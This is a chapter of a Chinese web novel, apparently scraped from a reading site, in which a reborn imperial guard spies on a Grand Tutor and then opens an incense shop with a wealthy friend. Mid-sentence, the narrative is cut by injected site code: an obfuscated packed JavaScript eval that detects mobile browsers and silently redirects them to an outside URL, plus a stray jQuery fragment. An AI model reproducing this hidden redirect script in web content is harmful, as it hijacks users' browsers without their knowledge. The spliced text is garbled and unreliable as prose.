40.蹲房梁趴墙角

作品:《重生锦衣卫绑定吃瓜系统

    瞧着猹猹的神情,何林秋便知道自己猜中了,还想再套些话,可猹猹没给他机会,只说系统要更新,就直接消失了。何林秋不禁有些可惜——他虽猜对了,却没收到任务完成的提示,看来只有把这件事彻底调查清楚,才算真正完成任务。


    何林秋的注意力重新落回苏暮岑身上,见他仍在奋笔疾书,忍不住暗自思忖:“该从哪里查起呢?”


    苏暮岑刚蘸好墨,正准备继续书写奏折,忽然听到有人说话,手上动作猛地一顿,一滴墨汁落在奏折上,渐渐晕开。他盯着那团墨渍,微微蹙起眉,放下手中的毛笔,缓缓坐直身子,起身活动了几下手脚,这才若无其事地朝声音传来的方向望去。


    房梁上空空如也,苏暮岑收回视线,不动声色地扫视房间,依旧什么都没发现,“难道刚才是幻听?”


    何林秋躲在阴影里,悄悄松了口气,心道:“差点被发现,没想到看上去文文弱弱的,警惕性还挺强。”


    又是刚才声音,是从博古架后面传出来的,听上去有些熟悉。他收回目光,若无其事地走到书案前,将刚刚写好的奏折仔细收拾妥当,又吹熄了桌上的烛火,这才抬脚朝门口走去。


    待房门关上,脚步声渐远,何林秋从博古架后走了出来。就在这时,更鼓声响起,梆梆梆的声音在寂静的深夜里传得很远。何林秋在黑暗中伸了个懒腰,心中暗道:“都已是一品内阁大学士了,还这般拼命。他去歇息了,我是不是也能回去睡了?”


    苏暮岑伏在窗前,屏息听着屋内的动静。他方才已忆起这声音的主人——正是不久前在诗会上崭露头角的淮安伯府四公子何林秋。他为何会来太傅府?来此的目的是什么?为何自己能如此清晰地听到他的言语?这般明目张胆,难道是故意想让他发现?可既然如此,又为何要躲着呢?


    种种疑问在脑海中闪过,苏暮岑却突然听到何林秋的声音,不由得微微一怔。他方才离开,又悄悄折返,本是想藏在暗处看看何林秋要做什么,可书案上明晃晃摆着奏折,对方却什么也没做,只是说要回去睡觉……


    “管他呢,下班。”


    “下班?”苏暮岑愣了愣,随即听到轻微的开门声,急忙蹲下身,屏息凝神,生怕被何林秋发现。


    门开了一条缝,一道黑影侧身溜出,随即迅速隐入黑暗。苏暮岑在原地等了许久,才扶着墙缓缓站起——蹲得太久,双腿早已麻木不堪。他弯腰揉了揉腿,待麻痹感稍稍褪去,便转身回到书房。掏出火折子吹亮,他仔细检查起桌上的奏折:方才为了确认是否有人翻动,特意在最上面的奏折里夹了根头发,此刻头发仍在原处,丝毫不差,显然没有被动过的痕迹。


    窗外,何林秋藏在阴影里,望着屋内透出的微光,嘴角微微扬起。做了多年保镖的他,不仅警惕性极高,直觉也异常敏锐。就在苏暮岑返回窗前、抬头向内窥探的瞬间,何林秋便锁定了他。离开又折返,正是为了验证自己的猜测,而事实证明,他的直觉果然没错。


    见苏暮岑朝门口走去,何林秋干脆利落地转身,很快便消失在夜色中。但他并未离开太傅府,只是在府内转了一圈,找到了任务目标苏暮晚所在的院子。孙子曾言“知己知彼,百战不殆”,只要盯紧苏暮晚,他的任务便能完成。


    从苏暮晚的院子离开后,何林秋先去了厨房,随手拿了些糕点当作今晚的夜宵,随后便返回淮安伯府,一夜酣睡到日上三竿。


    何林秋正在洗漱时,三水走进来禀报:“主子,齐国公府送来了帖子。”


    何林秋用帕子擦了擦脸,伸手接过请帖打开查看,原来是店铺已经装修完毕,李明珠邀他一同前去验收。他随即吩咐:“你去回话,就说未时三刻在淮安伯府门口碰面。”


    “是,主子。”


    何林秋起得不是时候,厨房里没有现成的饭菜,只能先吃些点心垫垫肚子,随后便开始制香。他的假期已然结束,既要去锦衣卫当差,还得完成系统派发的任务,只能抽空制香做些副业。


    午饭后,何林秋掐着点出了府,一眼就看见停在门口的豪华马车。让李明珠来接他,并非摆架子,实在是他在伯府不受待见,连出行的马车都没有。


    李明珠见何林秋出来,笑着唤道:“秋哥哥,你来了。”


    何林秋登上马车,在李明珠对面坐下,开口道:“明礼,有件事想请你帮忙。”


    “何事?秋哥哥尽管说便是。”


    “我打算买处宅子,只是近来事务繁忙,抽不出空去看,想劳烦你帮我留意一下。”


    李明珠听了这话,眼睛顿时亮了几分,问道:“秋哥哥终于想通,要搬出淮安伯府了?”


    “先前不搬,是手头拮据,并非不愿搬。”


    “那秋哥哥对宅子有什么具体要求吗?”


    “别的都无关紧要,主要是位置别太偏僻,价格控制在一千两以内,最多不能超过一千二百两。”


    “好,秋哥哥放心,我一定帮你办妥。”


    何林秋特意强调:“还有一点,我希望我买的宅子能做到一分价钱一分货。”


    李明珠身为江南富商的养子,又是国公府的小公子,既是家境优渥的富二代,也是身份尊贵的官二代,除了王府,再好的宅子他也买得起。这次托他帮忙找宅子,何林秋已经觉得欠了人情,实在不想再亏欠更多。


    李明珠是个聪明人,自然领会了何林秋的意思,便道:“秋哥哥,你我之间何必算得这么清楚。”


    “俗话说‘亲兄弟明算账’,我向来不喜欢欠人情。”何林秋说着,将刚制好的香递给他,“这是我最近做的香,一半是安神香,一半是熏香。”


    李明珠伸手接过,笑着说道:“秋哥哥,你做的安神香效果特别好,早就卖空了。”


    “卖空了?”何林秋愣了一下,随即问道:“内部消化?”


    “内部消化?”李明珠疑惑地看着何林秋,追问道:“这是什么意思?”


    “就是说你把安神香卖给认识的人了?”


    “嗯。他们用过之后都说效果好,已经预售出一百盒了。”最初,大家是看在他的面子上才买的安神香,用过之后,亲身感受到了它的好,便又纷纷来找他回购。


    “一百盒?”何林秋有些吃惊,“你定的什么价格?”


    “我不清楚成本是多少,便自己做主定价一百两银子一盒,也不知道合不合适。”


    何林秋听了这话,不禁瞠目结舌,道:“一百两可是我两个月的俸禄。你确定真的预定出去一百盒了?”


    “确定。”李明珠斩钉截铁地点头,“若非怕秋哥哥累着,数目远不止这些。”


    何林秋小声感慨道:“虽然……但是……我也想说一句,有钱人的钱是真好赚啊!”


    李明珠取出一个檀木盒子递给何林秋,说道:“这是之前那些安神香的盈利,按照我们说好的三七分成。”


    何林秋伸手接过,里面装着十四张一百两的银票,共计一千四百两。他将木盒盖上,又递了回去,道:“这些银子先放你那儿,权当买宅子的费用。”


    “好。”李明珠将木盒放下,“听闻于三小姐正在议亲,对象是御林军副统领顾常明。”


    “为何突然说起这个?”于朝华同谁议亲,何林秋并不感兴趣。


    “顾常明虽是五品武将,却无家世支撑,想要再进一步,怕是不易。以于家的家世,按理说不该为嫡女择选这样的夫婿。”


    “没有家世支撑仍能做到五品武将,足以证明他


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17143780|193301||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    能力不俗,将来的成就定然不可限量,选择他又有何不可?”何林秋自然明白李明珠是在试探,只是故意装傻罢了。


    “可那是于家,一门出了三个内阁大学士,于家嫡女配皇子王孙,也是配的。如此悬殊的差距,实在是……”


    何林秋微微蹙眉,李明珠的话倒是提醒了他,道:“你以为这是为何?”


    “事出反常必有妖。”李明珠起身,坐到何林秋旁边,压低声音说道:“我总觉得于家有事,而且是大事。”


    何林秋挑了挑眉,道:“你也说于家一门三个内阁大学士,如此鼎盛的世家,能有什么事?”


    “人心不足蛇吞象。”李明珠一脸严肃地直视着何林秋,“越是身处高位的人,野心往往越大。儿女在他们眼中不过是巩固地位的工具,之前于家为女儿挑选夫婿,若非皇亲国戚,便是世家大族之子,何曾考虑过顾常明这样身份的人?”


    “所以呢?”何林秋看着李明珠,不禁在心里感叹,“古代人还真是早慧。换作现代,像他这个年纪的孩子,还只是天真烂漫的学生。”


    李明珠再次压低声音说道:“依我看,于家恐怕是犯了事,这是在为儿女们谋划后路。秋哥哥拒绝于三小姐,实在是明智之举。”


    何林秋笑了笑,问道:“明礼可曾想过入朝为官?”


    李明珠只是个私生子,纵然齐国公再宠爱他,只要有嫡子在,也不可能让他继承国公的爵位。不过,齐国公的身份地位,让他入朝为官,还是轻而易举的事。


    李明珠摇摇头,道:“我对入朝为官不感兴趣,只喜欢赚钱,尤其是和秋哥哥一起赚钱。”


    “那可惜了,以你的头脑,若是入朝为官,定能稳坐高位。”就目前齐国公府的子嗣情况看,嫡子虽多,却没几个能堪大用,以李明珠的聪明,若真想争夺爵位,也不是不可能。


    李明珠笑眯了眼,道:“没想到我在秋哥哥心里竟如此优秀。”


    一刻钟后,马车停在香铺门前,何林秋和李明珠相继下了马车,径直走进香铺。香铺的装修很有格调,所有家具均由金丝楠木打造,货架错落有致地摆放着,其上陈列着造型精美的香炉,以及各式各样的香盒。


    “秋哥哥,你看这香铺的装修,可还合心意?”


    “你这手笔可真不小。”何林秋身为上市公司总裁,又常受委托护卫国家政要,见过的世面不算少,一眼便知铺里随便一件摆设都价值连城。


    “秋哥哥亲手制的香本就无人能及,香铺的排场自然要衬得上这份手艺才是。”


    何林秋满意地点点头,确实挑不出半分不妥,“香铺的名字也该定了,明礼可有什么想法?”


    “我不通文墨,还是秋哥哥定吧。”


    何林秋仔细想了想,道:“既然安神香卖得红火,不如就叫‘好眠’——睡个安稳觉,正是这香的本分。”


    “好眠,好眠,这名字真好!不愧是秋哥哥,连取名都这么雅致动听。”


    瞧他这般毫无保留的夸赞模样,何林秋不禁有些失笑,抬手揉了揉他的脑袋,笑着打趣道:“你这话要是被那些寒窗苦读的学子听了去,怕是要笑掉大牙了。”


    李明珠怔怔地望着何林秋,这是两人相识以来最亲密的瞬间——何林秋的手掌宽大而温暖,亲昵地摩挲着他的发丝,笑起来时眼眸微微弯起,亮闪闪的恰似夜幕中闪烁的星辰。


    何林秋见他这副出神的模样,抬手在他眼前轻轻晃了晃,问道:“明礼,在想什么呢?”


    李明珠一把握住何林秋的手,轻声唤道:“秋哥哥,你……”


    李明珠的话还未说完,铺子里突然闯进几个彪形大汉,手里拿着棍子,一副气势汹汹的模样,一看就是来找茬的。